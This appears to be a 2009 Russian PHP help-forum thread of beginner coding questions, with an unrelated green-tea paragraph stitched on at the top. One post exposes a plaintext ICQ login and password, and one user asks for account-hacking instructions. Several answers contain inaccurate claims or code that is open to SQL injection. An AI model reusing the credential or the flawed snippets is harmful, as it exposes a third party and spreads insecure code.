Раз уж зеленый чай может приносить пользу здоровью, то почему бы не попробовать его? Но сколько чашек в день пить? Большинство исследований показало, что пользу от чая получили люди, употреблявшие от 3 до 10 чашек в день. Такой диапазон вполне позволяет выбрать тот объем чая, который вам понравится.

eLWAux
26.03.2009, 02:16
<?php
$content = "this\nis a\nsimple\ntext\n";
preg_match_all("/.*\n/i", $content, $words );
print_r($words);
?>

Array ( [0] => Array ( [0] => this [1] => is a [2] => simple [3] => text ) )

eLWAux
26.03.2009, 02:17
<?php
$content = "vasya\nbil\ntut";
$content_array = explode ("\n", $content);
print_r($content_array);
?>

Array ( [0] => vasya [1] => bil [2] => tut )
)

Pashkela
26.03.2009, 04:44
Вот пишу icqsend.php:
<?php
include('WebIcqLite.class.php');
define('UIN', 353206039);
define('PASSWORD', '59KZObBA');
$icq = new WebIcqLite();
if($icq->connect(UIN, PASSWORD)){
if(!$icq->send_message('7862294', 'Hello!')){
echo $icq->error;
}else{
echo 'Message sent';
}
$icq->disconnect();
}else{
echo $icq->error;
}
?>
вот класс: http://wip.asminog.com/projects/icq/WebIcqLite.class.phps сохраняю в файл WebIcqLite.class.php, закидываю на Агаву и не работает :( :confused:
В чем же дело?
Тариф платный. :confused: :confused: :confused: :confused:




define('UIN', '353206039');

foxxx1234
26.03.2009, 09:41
Подскажите как решить такую проблему:

Есть скрипт который добавляет людей подавших заявку в друзья на сайте вконтакте.
При запуске скрипт проверяет не удалена ли анкета и если удалена то удаляет ее из файла с аками. Скрипт запускаю с cron и иногда в файл с аками записывается несколько одинаковых логинов.

Может ли это происходить например из-за того что например один скрипт запущеный с cron еще не доработал и запустился снова. Если да то как это проблему решить.

akil
26.03.2009, 10:50
чтобы скрипт не запускался два и больше раз, используй lock файл
Просто создавай файл при запуске скрипта, и постоянно проверяй его наличие .. при завершении скрипта файл удаляй ..
И так, если файл будет присутствовать, то скрипт будет ждать пока его не станет.
Надеюсь понятно излагаю)

KIR@PRO
26.03.2009, 11:05
Подскажите как решить такую проблему:

Есть скрипт который добавляет людей подавших заявку в друзья на сайте вконтакте.
При запуске скрипт проверяет не удалена ли анкета и если удалена то удаляет ее из файла с аками. Скрипт запускаю с cron и иногда в файл с аками записывается несколько одинаковых логинов.

Может ли это происходить например из-за того что например один скрипт запущеный с cron еще не доработал и запустился снова. Если да то как это проблему решить.

тебе надо на время работы скрипта блокировать файл.....
вот кусочек кода:


$file= fopen ("file.txt", "r"); //это понятно открываем файл
flock($file,2); //flock используется для блокировки/разблокировки файлов
//заблокировали файл полностью

while (! feof($file) //теперь работаем с файлом записываем читаем... как пример считывание файла полностью..
{
$text = fgets ($file, 1024);
echo ($text);
}
flock($file,3);//разблокировали файл

//да и не забудь if else использовать для проверки открыт ли файл..


За блокировку отвечает функция flock(указатель на файл , вид блокировки). Вид блокировки обозначается цифрой (1 - частичная, 2 - полная). Чтобы разблокировать файл пользуйесь функцией flock, но вид блокировки поставьте "3". © WebCorp

AkyHa_MaTaTa
26.03.2009, 15:09
Имхо идея с lock файлом в этом случаи более разумна чем просто лочить файл.

Gray_Wolf
26.03.2009, 15:30
На хостинг запрещено заливать файлы > 5 Мб
Нужно как-то обойти это ограничение.
Появилась идея написать скрипт который на локальной машине будет резать файл, а на хосте потом склеивать, но что-то не улыбается мне эта идея.
Есть ли способы попроще. (смену хостинга не предлагать)

mailbrush
26.03.2009, 15:38
но что-то не улыбается мне эта идеят.е. не можешь написать или ты думаешь, что это плохая идея? Вовсе нет. Как на меня, имхо, самый оптимальный вариант.

Gray_Wolf
26.03.2009, 16:02
т.е. не можешь написать или ты думаешь, что это плохая идея?
Впринципе и то и другое, но больше 2-е.

Немного видоизменю вопрос.
Нужно занести дамп БД в мускул; я воспользовался для этого Sypex Dumper Lite 1.0.8, но вес сжатого дампа получается > 5 МБ.
Доступ к базе имеется только у хоста.

Может это можно сделать както иначе?

mailbrush
26.03.2009, 16:07
Gray_Wolf, я хз что за скрипт, но попробуй подкоректировать так, чтобы лилось на другой хост. Т.е. в директорию типа ftp://user:pass@domain.com. Ну т.е. fopen("ftp://user:pass@domain.com/sql.sql","a+");
fwrite($fp,$data);
fclose($fp);

mailbrush
26.03.2009, 16:09
ЛИБО
Дампай через пхпмайадмин и выберай не запись в файл, а скачать файл.

Gray_Wolf
26.03.2009, 16:11
2mailbrush нужно сделать какраз обратное,
есть дамп его нужно загнать в мускул(к которому имеет доступ только сайт).

mailbrush
26.03.2009, 16:24
Gray_Wolf, ну тогда попробуй что-то типа mysql_query(file_get_contents("http://site.com/dump.sql"));


ADD:
Тебе ведь нельзя закачивать на фтп файлы > 5мб. Это фтп не пропускает. Попробуй тогда file_put_contents("data.sql",file_get_contents("http://site.com/dump.sql"));

Gin
26.03.2009, 17:18
ну вы ребят и извращаетесь))) этож все намного проще :



$text='\ngjdhfgkvhdmgkdvbgd,lgmfiodb\n';
$text=substr($text,strpos($text,'\n')+2,strlen($te xt)-2);
echo $text;


//можно конечно и еще сократить до двух строк)

$text='\ngjdhfgkvhdmgkdvbgd,lgmfiodb\n';
echo =substr($text,strpos($text,'\n')+2,strlen($text)-2);



думаю объяснять не надо.... удалит первый попавшийся в строке возврат коретки =))

Да согласен усложнили конкретно задачу, нашел выход еще более проще



$text="\nblablabla";
$text=substr($text,2);

echo $text;

foxxx1234
26.03.2009, 18:27
Спасибо. Буду тестить какой вариант лучше.

mailbrush
26.03.2009, 18:38
Gin, оно то так. Но ты сказал первый и последний перенос строки. В даном случае убирает только первый перенос и еще букву b! Текст ты взял в двойные ковычки, поэтому \n - ОДИН символ. А ты убрал ДВА.

awdrg
26.03.2009, 18:46
приведите пожалуйста простой пример связки php+sockets, которая выводит ответ сервера. Искал по нескольким источникам, но там много "воды", которая еще больше запутывает

mailbrush
26.03.2009, 19:07
<?php
$fp = fsockopen ("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br>\n";
} else {
$out="GET / HTTP/1.0\r\nHost: www.example.com\r\n\r\n";
fputs ($fp, $out);
while (!feof($fp)) {
echo fgets ($fp,128);
}
fclose ($fp);
}
?>

m0Hze
26.03.2009, 19:32
Не юзай соеты,это зло.
КУРЛ и только КУРЛ.

KIR@PRO
26.03.2009, 20:17
Не юзай соеты,это зло.
КУРЛ и только КУРЛ.

не надо навязывать людям свое мнение....
сокеты быстрее работают курл удобнее в написании... в этой теме это уже раз 50 обсуждылось

Sharky
26.03.2009, 20:31
не надо навязывать людям свое мнение....
сокеты быстрее работают курл удобнее в написании... в этой теме это уже раз 50 обсуждылось
+1, лично я больше сокеты уважаю

DDoSька
26.03.2009, 21:22
Люблю курл, но понял, что нужно переходить на сокеты. Хотя раньше слепо верли ,что cURL зе бест =)

rushter
26.03.2009, 23:13
Люблю курл, но понял, что нужно переходить на сокеты. Хотя раньше слепо верли ,что cURL зе бест =)Помню ты со мной ещё спорил по этому поводу,и тебя невозможно было переубедить :) .

bps7
27.03.2009, 00:21
Ребята всем привет!!!!!!!!! Киньте ссылочку рабочую на дистриб php, с сайта не качается почему то.....Заранее СПС

rushter
27.03.2009, 00:30
http://ru.php.net/get/php-5.2.9-1-Win32.zip/from/a/mirror

DDoSька
27.03.2009, 10:11
Помню ты со мной ещё спорил по этому поводу,и тебя невозможно было переубедить :) .
Теперь я с тобой соглашусь и скажу, что я был не прав, извини :rolleyes:

inlanger
27.03.2009, 10:46
bps7, если ты не можешь сам найти пхп, то советую скачать эту сборку, потому как сомниваюсь, что ты всё нормально поставишь :)
http://www.denwer.ru/

D Mak
27.03.2009, 23:32
Люблю курл, но понял, что нужно переходить на сокеты. Хотя раньше слепо верли ,что cURL зе бест =)
с сокетами канешн получается чище выполнение скрипта, но когда нужно десятки запросов сделать и каждый раз собирать куки итп - тут без курла не обойтись

DDoSька
27.03.2009, 23:39
Бле, теперь один грамотный чел гворит,что курл лучше:
http://pyha.ru/forum/topic/2204.msg38024#msg38024
Кого слушать? Куды податься?
ВСе понятно объяснили - вопрос снят

mailbrush
27.03.2009, 23:45
inlanger, денвер - тупая сборка. Лутше скачать с оффсерва и установить. Не так то все и сложно =)

[Raz0r]
28.03.2009, 00:09
mailbrush
обоснуй пожалуйста почему денвер тупая сборка. Ты просто хотел сказать, что умеешь ставить php+apache+mysql сам?

DDoSька
28.03.2009, 00:37
']mailbrush
обоснуй пожалуйста почему денвер тупая сборка. Ты просто хотел сказать, что умеешь ставить php+apache+mysql сам?
+1, ведь денвер тот же самый апач,пхп,мскул итд
Он владеет осообой пхп магией Оо

Raks
28.03.2009, 01:43
Обучите взлому одноклассников или mail.ru!!!Или посоветуйте,где можно посмотреть реально работающие инструкции!?Звучит незаконно :) но мне не для злых целей нужно!Не первый день парюсь уже,всё либо устарело,либо не работает...а нужно правда очень сильно!

Mirella
28.03.2009, 01:55
<html>
<head>
<title></title>
</head>
<body>
<table cellpadding=0 cellspacing=0 border=0 align=center width=100%>
<fieldset>
<a href="klient.php?com=1"><font color=#336699>Заявка на работу</font></a> |
<a href="klient.php?com=2"><font color=#336699>Заказ наряд</font></a> |
<a href="klient.php?com=3"><font color=#336699>Справочник клиентов</font></a> |
</fieldset>
<?PHP
include ("base.php");
$res = mysql_connect ($mysqlhost,$mysqluser,$mysqlpass,$mysqlbase);
mysql_select_db($mysqlbase, $res);
if(isset($_POST['newreg']))
{

$Kolichestvo=HtmlSpecialChars($_POST['Kolichestvo']);

$error = 0;
$error_mysql = 0;

if(!$Kolichestvo)
{
echo "Ошибка! Поле количество обязательно для заполнения!<BR>";
$error = 1;
}



if($error == 0 && $error_mysql == 0){
$Kod_zaiavki_na_rab = mysql_query("SELECT `Kod_zaiavki_na_rab` FROM `Zaiavka_na_raboti` ORDER BY `Kod_zaiavki_na_rab` DESC LIMIT 0 , 30");
$Kod_zaiavki_na_rab = mysql_fetch_array ($Kod_zaiavki_na_rab);
$Kod_zaiavki_na_rab = $Kod_zaiavki_na_rab[0]+1;
$sql="INSERT INTO `Zaiavka_na_raboti` ( `Kod_zaiavki_na_rab` , `Kolichestvo`)
VALUES ('$Kod_zaiavki_na_rab', '$Kolichestvo'); ";
if(!mysql_query($sql))
{
echo mysql_error();
echo "Не удалось добавить! Ошибка в базе<BR>";
die;
}else{
mysql_query($sql);
echo "Запись добавленна!<br>";
}
}
}

?>
<? if ($_GET["com"]=='1'): ?>
<fieldset><center>Заявка на работу</center></fieldset>
<form action="klient.php" method="post">
<table width="370">
<tr><td>Количество</td><td><input name="Kolichestvo"></td></tr>
<tr><td colspan="2"><br><center><input type="submit" value="Добавить" name="newreg"></center></td></tr></table></form>
<? else:
endif;
?>
<? if ($_GET["com"]=='2'): ?>
<? else:
endif;
?>
<? if ($_GET["com"]=='3'): ?>
<? else:
endif;
?>



во втором и третьем варианте тоже формы отправки данных но не хочет отправлять данные ( может ли это связанно что всё в одном файле поэтому не передаёт данные?
в других пост запросы newreg1 newreg2 и т.д

подскажите в чём ошибка ...

я хотел в одном файле 12 разделов сделать и все связанные с отправкой разной информации

PEPSICOLA
28.03.2009, 04:54
Подскажите способ реализации меню редактирования текста с использованием BB кода в html форме.

Текст будет храниться в utf8 - unicode_general (MyISAM), а при выводе с базы данных BB код будет конвертироваться в html/css используя POSIX.

m0Hze
28.03.2009, 06:14
Подскажите способ реализации меню редактирования текста с использованием BB кода в html форме.

Текст будет храниться в utf8 - unicode_general (MyISAM), а при выводе с базы данных BB код будет конвертироваться в html/css используя POSIX.
http://xbb.uz/

DDoSька
28.03.2009, 10:00
Подскажите способ реализации меню редактирования текста с использованием BB кода в html форме.

Текст будет храниться в utf8 - unicode_general (MyISAM), а при выводе с базы данных BB код будет конвертироваться в html/css используя POSIX.
http://www.wolf-ware.ru/software/id/4420/ - Класс для работы с BB кодами
http://forum.sirumem.com/misc.php?do=bbcode - Здесь описываются разные BB коды, которые я даже не встречал - полезно,думаю

wildshaman
28.03.2009, 23:03
Уже всю голову поломал, хз как такое сделать:

имеется форма. Надо после ввода в нее инфы обработать эту инфу и вывести еще одну форму, после ввода в ней инфы вывести еще одну форму и обработать инфу, и так $n раз... как?)

Грубо говоря, надо по ходу скрипта генерить форму и принимать от нее данные....

Krist_ALL
28.03.2009, 23:26
Уже всю голову поломал, хз как такое сделать:

имеется форма. Надо после ввода в нее инфы обработать эту инфу и вывести еще одну форму, после ввода в ней инфы вывести еще одну форму и обработать инфу, и так $n раз... как?)

Грубо говоря, надо по ходу скрипта генерить форму и принимать от нее данные....



<?php

if(isset($_POST['form1']))
echo '<form action=index.php method=post>.......<input type=submit name=form2></form>';

elseif(isset($_POST['form2']))
echo '<form action=index.php method=post>.......<input type=submit name=form3></form>';

else { echo '<form action=index.php method=post>.......<input type=submit name=form1></form>'; }
?>

Gray_Wolf
28.03.2009, 23:28
Самый простой способ это создать класс с формой, а потом просто создавать нужное кол-во обьектов...

PROPH3T
29.03.2009, 01:13
Подскажите, как осуществить:

Есть определённая ссылка, нужно чтобы с таймаутом в секунды 3 осуществлялся переход по ней....

Sharky
29.03.2009, 01:44
Подскажите, как осуществить:

Есть определённая ссылка, нужно чтобы с таймаутом в секунды 3 осуществлялся переход по ней....
while (1) {
file_get_contents('http://site.com');
sleep(3);
}

wildshaman
29.03.2009, 11:23
<?php

if(isset($_POST['form1']))
echo '<form action=index.php method=post>.......<input type=submit name=form2></form>';

elseif(isset($_POST['form2']))
echo '<form action=index.php method=post>.......<input type=submit name=form3></form>';

else { echo '<form action=index.php method=post>.......<input type=submit name=form1></form>'; }
?>



спс, немного по-другому осуществил.

А как показывать формы в цикле (то есть N-ое количество), но каждую следующую показывать только после ввода данных в предыдущую? то есть не тупо вывести подряд n-форм, а именно по порядку, пока не введешь даныне в одну, следующая не выведется....

MaTpOc
29.03.2009, 12:57
Где можно найти задания по PHP. чтоб с возрастанием уровня сложности?

Sharky
29.03.2009, 13:41
Где можно найти задания по PHP. чтоб с возрастанием уровня сложности?
устройся на работу :) по началу всегда дают полегче задания :) а потом П..........

KaZ@NoVa
29.03.2009, 14:23
Где можно найти задания по PHP. чтоб с возрастанием уровня сложности?
Эм, я такого в интернете не видел. Лучше купить или скачать где нибудь книгу по PHP. Что то типа профессионально PHP программирование, издание не ниже третьего. Авторов там много, около 10ти и сама книга такая толстая в красной обложке. Посмотри на books.ru. А язык PHP очень сильно похож на C++ только куда удобнее для чтения и восприятия кода. Переменные там нетипизированны и объявляются в любом месте с префикса $. Язык регистронезависим как Object Pascal.

Semus
29.03.2009, 14:44
Здравствуйте.
Пишу скрипт:


<?php
if (isset($_POST['names']))
echo '<pre>';
print_r($_POST);
echo '<a href=" '.$_SERVER['PHP_SELF'].' ">еще раз</a>
echo '<pre>';
}else{
?>

<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>">
Введите наименование:<input type="text" name="names" />
...
<input type="submit" value="go!" />
</form>

<?php
}
?>


Теоретически, должен выводить результат если поле names заполнено иначе снова появляется форма. Но у меня все происходит с точностью да на оборот - результат высвечивается всегда. В чем проблема? Подскажите? Я начинающий, поэтому поподробней если можно.

-=Static=-
29.03.2009, 15:11
А где у вас открывающаяся скобка для IF()??? Я полагаю что из-за нее... но тогда должна еще ошибка появиться... типа SYNTAX ERROR

wildshaman
29.03.2009, 15:15
А где у вас открывающаяся скобка для IF()??? Я полагаю что из-за нее... но тогда должна еще ошибка появиться... типа SYNTAX ERROR

<?php
if (isset($_POST['names']))
{
echo '<pre>';
print_r($_POST);
echo '<pre>';
}
else
{
echo '<form method="post">
Введите наименование:<input type="text" name="names">
<input type="submit" value="go!">
</form>';
}
?>


Все работает

erihtoney
29.03.2009, 15:18
2Semus

<?php
if (!empty($_POST['names']))
{
print_r($_POST);
echo '<a href='.$_SERVER['PHP_SELF'].'>еще раз</a> ';
}
else
{
echo "<form method=\"post\" action=\"". $_SERVER['PHP_SELF']."\">
Введите наименование:<input type=\"text\" name=\"names\" >
...
<input type=\"submit\" value=\"go!\" >
</form>";
}
?>

Semus
29.03.2009, 15:48
erihtoney

Большое спасибо. Заработало. +

MaTpOc
29.03.2009, 17:26
Можно ли на пхп открывать ярлыки и вписывать там инфу в поля? Если да, то как, поподробней плиз.

Кубик Рубик
29.03.2009, 17:57
как сделать анализ трафика определенной страны? Например Alexa.com.

KaZ@NoVa
29.03.2009, 18:41
Можно ли на пхп открывать ярлыки и вписывать там инфу в поля? Если да, то как, поподробней плиз.
эм... тогда поподробней - какие ярлыки?

wildshaman
29.03.2009, 18:56
как сделать анализ трафика определенной страны? Например Alexa.com.

Кубик РубикА
неучи =(

Gray_Wolf
29.03.2009, 18:58
Видимо имеются в виду ярлыки винды.
Если это так, то у PHP должен быть доступ к этим ярлыкам.
А работать с ним можно как с обычным текстовым файлом.

Вот открыл 1 из своих ярлыков

L  А F› ({*?1ЙВ“ъr®љЙ ({*?1Й ґ  I PаOР к:iўШ +00ќ /D:\ J 1 a:ЂҐ PROGRA~1 2   пѕщ8Р‰a:†Ґ P r o g r a m F i l e s  B 1 a:ЂҐ WINNYD~1 *   пѕa:ЂҐa:†Ґ W i n n y d o w s  B 1 a:†Ґ XVID4P~1 *   пѕa:ЂҐa:†Ґ X v i D 4 P S P 5  L 2 ґ R9ђ„ XviD4PSP.exe 0   пѕR9ђ„a:ЃҐ X v i D 4 P S P . e x e  n    ; m   9Юd Локальный диск D:\Program Files\Winnydows\XviD4PSP5\XviD4PSP.exe 7 . . \ . . \ . . \ P r o g r a m F i l e s \ W i n n y d o w s \ X v i D 4 P S P 5 \ X v i D 4 P S P . e x e $ D : \ P r o g r a m F i l e s \ W i n n y d o w s \ X v i D 4 P S P 5   *& w `  *X wainakh-fe0f1be ?Ь‹ЪЮ0ІA¶Ш?v JeњнШќіЌЮ„y PVА ?Ь‹ЪЮ0ІA¶Ш?v JeњнШќіЌЮ„y PVА 
Вместо пробелов конечно используются NULL байты.

Хотя с линуксом всё намного проще.

Кубик Рубик
29.03.2009, 19:10
Кубик РубикА
неучи =(

Так задумано, т.к. Кубик рубика звучит хреново =\

KaZ@NoVa
29.03.2009, 19:10
ну.. настолько же можно насколько и редактировать теги mp3
можно то можно.. надо просто знать формат собственно ярлыков..
сам не пробовал.. если бы встала задача открыл бы в hex редакторе и просто попробовал позаменять поле где вбит путь.. ну а если не получилось бы решить задачу в лоб, т.е. таким способом - то тогда гугль в помощь, чтоб понять структуру ярлыка и бить полбу.. :)))

хотя думаю там должна быть только специнфа, чтонить типа о том, какой значок показывать и непосредственно путь :)

Pashkela
29.03.2009, 19:25
https://forum.antichat.net/printthread.php?t=79795

MaTpOc
29.03.2009, 21:05
эм... тогда поподробней - какие ярлыки?

ярлыки на рабочем столе, мне нужно чтоб как только инет отрубился тут же вбился пароль и инет включился, а то он у меня так сам не умеет.

MaTpOc
29.03.2009, 21:55
Извините,а причем здесь php?

Пуск -> Подключение -> Отобразить все подключение -> Выбираете ваше подключение -> Правая кнопка мыши -> Параметры -> Свойства -> Параметры повторного звонка

Для Windows

у меня там уже давно все стоит, но инет все равно не переподключается. =/

Chaak
29.03.2009, 22:09
auto it юзай

-m0rgan-
29.03.2009, 22:41
MaTpOc, а не проще ли для таких целей написать батник??
Имхо на php писать скрипк коннекта к сети полный бред..

m0Hze
30.03.2009, 08:56
Вспомнил,у меня проблема на днях была,вот решил пока помню узнать решение.
Имеем страниичку,полученую курлом,нужно все src=img/img.jpg заменить на src=http://host.ru/img/img.jpg
Сталкнулся с проблемой.
Деле так:

preg_match_all('|src="(.*?)"|Ui', $page, $src);
for ($i = 0; $i < count($src[1]); $i++) {
if (!strpos($src[1][$i], "://")) {
//echo $src[1][$i];
$page = str_replace($src[1][$i], $host.$src[1][$i], $page);
}
}

Но работает немног оне так как нужно.Гуру,подскажите,а то заняться нечем,,решил дописать.

[dei]
30.03.2009, 09:15
m0Hze

$page = preg_replace('/src="([^:]*?)"/i', "src=\"$host$1\"", $page);

KaZ@NoVa
30.03.2009, 10:53
Вспомнил,у меня проблема на днях была,вот решил пока помню узнать решение.
Имеем страниичку,полученую курлом,нужно все src=img/img.jpg заменить на src=http://host.ru/img/img.jpg
Сталкнулся с проблемой.
Деле так:

preg_match_all('|src="(.*?)"|Ui', $page, $src);
for ($i = 0; $i < count($src[1]); $i++) {
if (!strpos($src[1][$i], "://")) {
//echo $src[1][$i];
$page = str_replace($src[1][$i], $host.$src[1][$i], $page);
}
}

Но работает немног оне так как нужно.Гуру,подскажите,а то заняться нечем,,решил дописать.

во первых preg_match_all пишется со строчной а не с прописной )
во вторых.. |Ui - напомни что означает модификатор U ? никогда им не пользовался чесгря.. i - это в любом регистре, U - не помню, в ман лезть лень.. я пользуюсь обязательно модификатором l - это позволяет искать в многострочном документе
втретьих src="(.*?)".. гм.. а если будет одинарная кавычка? или вообще не будет ее?? работать явно не будет..

if (!strpos($src[1][$i], "://")) {
зачем ищется :// ??? картинка может быть внешняя же? ) http://image.jpg уже не пройдет..

гм.. будем это доделывать или перепишем? ;)

m0Hze
30.03.2009, 11:01
во первых preg_match_all пишется со строчной а не с прописной )
во вторых.. |Ui - напомни что означает модификатор U ? никогда им не пользовался чесгря.. i - это в любом регистре, U - не помню, в ман лезть лень.. я пользуюсь обязательно модификатором l - это позволяет искать в многострочном документе
втретьих src="(.*?)".. гм.. а если будет одинарная кавычка? или вообще не будет ее?? работать явно не будет..

if (!strpos($src[1][$i], "://")) {
зачем ищется :// ??? картинка может быть внешняя же? ) http://image.jpg уже не пройдет..

гм.. будем это доделывать или перепишем? ;)

Я вообще не понял что ты там про прописные буквы втирал....
Модификатор хз,взял готовую регулярку,обычно я пользуюсь только i.
А вот это убило,про картинку с внешки :D
Так для этого и сделан отсев,чтобы отсеять внешку от локальных путей :)
Вариант дея мне подошел больше всего.

tp123
30.03.2009, 23:27
Ребята небольшая помошь нужна состаить регулярку на php

Тоесть искать в тексте [-a-zA-Z0-9]{1,40} точка [a-zA-Z]{2,5} и заменять их на www точка [-a-zA-Z0-9]{1,40} точка [a-zA-Z]{2,5}

Необходимо что бы заменял: http://www.ya.ru, или ya.ru, или WWW.YA.RU на www.ya.ru

tp123
30.03.2009, 23:36
Ребята небольшая помошь нужна состаить регулярку на php

Тоесть искать в тексте [-a-zA-Z0-9]{1,40} точка [a-zA-Z]{2,5} и заменять их на www точка [-a-zA-Z0-9]{1,40} точка [a-zA-Z]{2,5}

Необходимо что бы заменял: http://www.ya.ru, или ya.ru, или WWW.YA.RU на www.ya.ru